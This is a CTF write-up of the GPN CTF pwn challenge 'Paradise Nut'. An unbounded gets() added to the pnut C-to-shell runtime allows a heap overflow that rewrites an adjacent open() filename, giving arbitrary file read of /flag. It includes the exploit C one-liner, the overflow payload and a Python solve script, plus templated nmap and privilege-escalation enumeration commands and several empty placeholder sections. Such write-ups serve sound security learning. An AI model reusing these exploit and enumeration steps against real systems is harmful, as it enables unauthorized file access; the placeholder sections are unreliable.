← Back to Writeups
HTBN/APwn

Paradise Nut

XESXOR8/23/20267 min read
#pwn#htb#n/a

Paradise Nut

Platform: GPN CTF | Category: Pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2024-05-30 | Status: Solved Techniques: adjacent_buffer_filename_control, arbitrary_file_read_via_open, gets_unbounded_overflow, malloc_layout_offset_tuning, pnut_shell_heap_overflow, spacer_malloc_to_avoid_clobber

Summary

Task: submit one line of C compiled by the pnut C-to-POSIX-shell transpiler (MINIMAL_RUNTIME) and run as an unprivileged user; goal is to read root-owned /flag. Solution: the author added an unbounded gets() to the runtime, causing a heap overflow in pnut's _N bash-variable cell model; lay out an adjacent open() filename buffer right after the gets() target so the overflow writes '/flag', yielding arbitrary file read.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: gpnctf | ID: 20240530_gpnctf_paradise_nut
  • Tags: buffer_overflow, heap_overflow, arbitrary_file_read, gets, pnut, transpiler, c_to_shell, open_filename_control, shell_memory_model, bump_allocator, ctf_pwn
  • Indicators: author comment 'It's a shame that upstream pnut does not support my favorite libc function, runtime _gets() with read -r REPLY + unbounded unpack_string_to_buf, pnut heap cells named _N (bash variables), chal.sh runs bash <(./pnut-sh.sh <(head -n1)), C-to-POSIX-shell transpiler (pnut) used as the compiler
  • Source: 20240530_gpnctf_paradise_nut.md

Foothold

Vulnerability / Misconfiguration

  1. Adjacent_buffer_filename_control
  2. Arbitrary_file_read_via_open
  3. Gets_unbounded_overflow
  4. Malloc_layout_offset_tuning
  5. Pnut_shell_heap_overflow
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • adjacent_buffer_filename_control
  • arbitrary_file_read_via_open
  • gets_unbounded_overflow
  • malloc_layout_offset_tuning
  • pnut_shell_heap_overflow
  • spacer_malloc_to_avoid_clobber
  • Tags: buffer_overflow, heap_overflow, arbitrary_file_read, gets, pnut, transpiler, c_to_shell, open_filename_control, shell_memory_model, bump_allocator, ctf_pwn

Original Writeup

<details><summary>Click to expand original content</summary>

Description

Finally a C compiler you can trust!

The player submits one line of C code. chal.sh compiles it with pnut-sh.sh (the pnut transpiler that turns a large subset of C99 into human-readable POSIX shell) and runs the resulting shell script with bash, as the unprivileged user user. The goal is to read /flag.

The title is a pun: Paradise Nut = pnut, and "a C compiler you can trust" is a reference to Ken Thompson's Reflections on Trusting Trust — you actually can't trust this one.

# chal.sh
#!/bin/bash
printf 'Enter your C code on a single line.\n> '
bash <(./pnut-sh.sh <(head -n1))
# Dockerfile (key lines)
FROM ubuntu:26.04
ARG FLAG=GPNCTF{fake_flag}
RUN echo "$FLAG" > /flag
RUN chmod 400 /flag         # only root can read /flag
RUN chmod u+s /usr/bin/nl   # intended hard path: run `nl /flag` to win
RUN useradd user
USER user
COPY pnut-sh.sh chal.sh ./
ENTRYPOINT [ "socat", "tcp-l:1337,reuseaddr,fork", "EXEC:./chal.sh,stderr" ]

Remote was served over SSL (ncat --ssl <host> 443).

The Dockerfile presents an intended hard path: /flag is chmod 400 root, and /usr/bin/nl is SUID root, so the canonical win is nl /flag — which would require command execution. As shown below, an arbitrary file read bypasses this entirely.

Analysis

pnut-sh.sh is ~6184 lines: the upstream pnut transpiler compiled to a single POSIX shell script, built as the MINIMAL_RUNTIME variant, with exactly one author-added function: _gets().

pnut's shell memory model

pnut emulates C memory in shell. Heap "cells" are bash variables named _1, _2, _3, ... (each holds one integer). malloc is a simple bump allocator over __ALLOC (with RT_FREE_UNSETS_VARS and size headers). Strings are stored one byte (as an int) per cell.

The author-introduced bug

Diffing the runtime against upstream sh-runtime.c (fetched from GitHub) confirmed the sole addition is gets():

# It's a shame that upstream pnut does not support my favorite libc function
_gets() { # $2: buffer
  read -r REPLY
  unpack_string_to_buf "$REPLY" "$2" 1
  : $(($1 = $2))
}

unpack_string_to_buf copies the entire REPLY line (one runtime line of attacker input from stdin) into the destination buffer with no length/bounds check. In the _N cell model this is a classic heap buffer overflow: writing past the malloc'd buffer overwrites the integer values of subsequent _N cells — including the bytes of an adjacent malloc'd buffer.

Dead ends (carefully disproven before landing on gets())

Recording these so future solvers can reuse the elimination:

  1. Compile-time string-literal injection into the generated shell. pnut's _print_escaped_char correctly escapes $, backtick, backslash, and " (the only specials inside a double-quoted shell context) and emits everything else as octal \NNN. Brute-tested printf("$(id)"), printf("\id`")`, backslash combos — all safely escaped. DEAD.
  2. Identifier-name injection into raw _TEXT_STRING nodes (which pnut emits unescaped). The C lexer _get_ident restricts identifiers to [A-Za-z0-9_], so no shell metacharacters can reach a raw node. DEAD.
  3. char_to_int arithmetic injection. The runtime uses case $1 in [[:alnum:]]) __c=$((__$1__)). This is normal upstream pnut code (SH_INCLUDE_ALL_ALPHANUM_CHARACTERS), not an introduced bug. $1 is always a single byte (LC_ALL=C; unpack extracts one char via ${buf%"${buf#?}"}). Brute-tested all 256 byte values through gets — all safe. The __X__ constants are readonly integers; even though bash does recursively evaluate $((var)) and would execute $(cmd) embedded in a value, no attacker-controlled string ever reaches a $(( )) context (all _N cells only ever hold integers assigned via $(( ))). DEAD.
  4. README #include "file.sh" raw-shell-include trick. Absent in this MINIMAL build — _include_file only tokenizes includes as C. DEAD.
  5. No system()/process-exec primitive anywhere in the runtime; only printf/read/echo/exec-redirect builtins. The open() filename in exec N< "$__res" is double-quoted, so no command-substitution injection. DEAD.

Conclusion: the only author-introduced bug is the unbounded gets(), and its reachable primitive is arbitrary file read/write as user. The flag text itself confirms the intended path: "libc GETS() FANs... REPLY is not blacklisted".

Solution

Turn the overflow into control over the filename passed to open(), giving arbitrary file read as user.

Heap layout tuning

Allocate the gets() target buffer immediately before a filename buffer, then a large spacer:

char *b, *fn, *s;
b  = malloc(8);     // gets() target
fn = malloc(64);    // filename for open()
s  = malloc(4000);  // spacer: pushes __ALLOC past fn so _open()'s internal
                    // malloc(1000) won't clobber fn

With the bump allocator (size headers, RT_FREE_UNSETS_VARS), the compiled output places b at cell 1003 and fn at cell 1012, so fn is at offset 1012 - 1003 = 9 from b. A runtime line of ("A"*9 + "/flag") overflows b and writes the path exactly at fn's cells; gets() appends a NUL terminator so _put_pstr reconstructs the filename cleanly.

The spacer malloc(4000) matters: without it, _open()'s internal _malloc __addr 1000 allocates at __ALLOC right after fn and overwrites the tail of the filename (observed corruption like /etc/hosm0). Pushing __ALLOC forward avoids this.

Final C one-liner (line 1)

int main(){char*b;char*fn;char*s;b=malloc(8);fn=malloc(64);s=malloc(4000);fn[0]=88;fn[1]=0;gets(b);int fd;fd=open(fn,0,0);char*o;o=malloc(4000);int n;n=read(fd,o,1000);write(1,o,n);return 0;}

Protocol

  • Line 1 = the C one-liner (consumed by head -n1, compiled by pnut).
  • Line 2 = the overflow payload AAAAAAAAA/flag (9 × A + /flag), read by the compiled program via gets().

The overflow sets fn = "/flag", open() succeeds (the deployed /flag was readable by user — the chmod 400 + SUID nl was only the intended hard path), then read() + write() dump the flag.

Local repro

# Compile the C one-liner and run it
sh ./pnut-sh.sh poc.c > poc.sh
bash poc.sh   # feed line 2 on stdin

# Instrumented build printed malloc addresses to nail the offset:
#   b=1003, fn=1012, pad=9
# Validated arbitrary read locally by dumping /etc/hosts.

Reusable Python solve (SSL socket)

#!/usr/bin/env python3
import socket, ssl

HOST, PORT = "CHALLENGE_HOST", 443

C_ONELINER = (
    b"int main(){char*b;char*fn;char*s;"
    b"b=malloc(8);fn=malloc(64);s=malloc(4000);"
    b"fn[0]=88;fn[1]=0;gets(b);"
    b"int fd;fd=open(fn,0,0);"
    b"char*o;o=malloc(4000);"
    b"int n;n=read(fd,o,1000);write(1,o,n);return 0;}"
)
PAYLOAD = b"A" * 9 + b"/flag"   # offset 9 -> writes filename exactly at fn

ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE

raw = socket.create_connection((HOST, PORT))
s = ctx.wrap_socket(raw, server_hostname=HOST)

print(s.recv(4096).decode(errors="replace"))   # banner: "Enter your C code..."
s.sendall(C_ONELINER + b"\n")                   # line 1: C source
s.sendall(PAYLOAD + b"\n")                       # line 2: gets() overflow

data = b""
while True:
    chunk = s.recv(4096)
    if not chunk:
        break
    data += chunk
print(data.decode(errors="replace"))
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR